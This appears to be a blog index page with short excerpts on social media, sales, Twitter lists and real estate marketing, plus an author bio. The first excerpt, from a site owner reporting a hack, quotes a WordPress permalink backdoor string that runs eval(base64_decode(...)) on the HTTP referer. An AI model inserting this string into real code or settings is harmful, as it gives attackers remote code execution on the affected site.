Suddenly, this WordPress blog’s feed stopped working and all the permalinks had this strange code embedded at the end of the link: %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I asked on Twitter and Facebook for help (tx James & Kevin for help!). Usually this works. Upon Googling the above code, I find out the problem is a “MySQL Injection Attack” [...]
Originally published on October 15, 2009: This is one way social media has changed the sales process. Traditional corporate sales forces are hired for their industry expertise. A product or service that targets the hospitality industry will seek account executives with that background. But suppose the company realizes that its service is a better fit [...]
Twitter lists will change how people network themselves into groups and geographies. Although the first lists will develop around social media (top 100s, etc.), they will eventually develop around organizations / civic groups, enterprises and geographies / neighborhoods. Once this happens, Twitter will evolve into a hyperlocal communication network or, a better term, media. In [...]
Real estate brokers and agents are an identifiable categorical group in the social media, everybody recognizes their presence talking shop or chatting up the local community. The industry’s relationship with the Internet has historically been mercenary; the principal reason for online presence, whether with a website in 2001, a blog in 2007 or a Facebook [...]
Patrick Kitano is founding Principal of Brand into Media, a unique strategy group working with corporations and organizations to develop social and media-based strategies that engage hyperlocal communities.
I'm the author of Media Transparent, and contributor to Street Fight, Social Media Today, Daily Deal Media, The Customer Collective, and Quora.
I speak on the future of social commerce at conferences associated with social media, local advertising and real estate.
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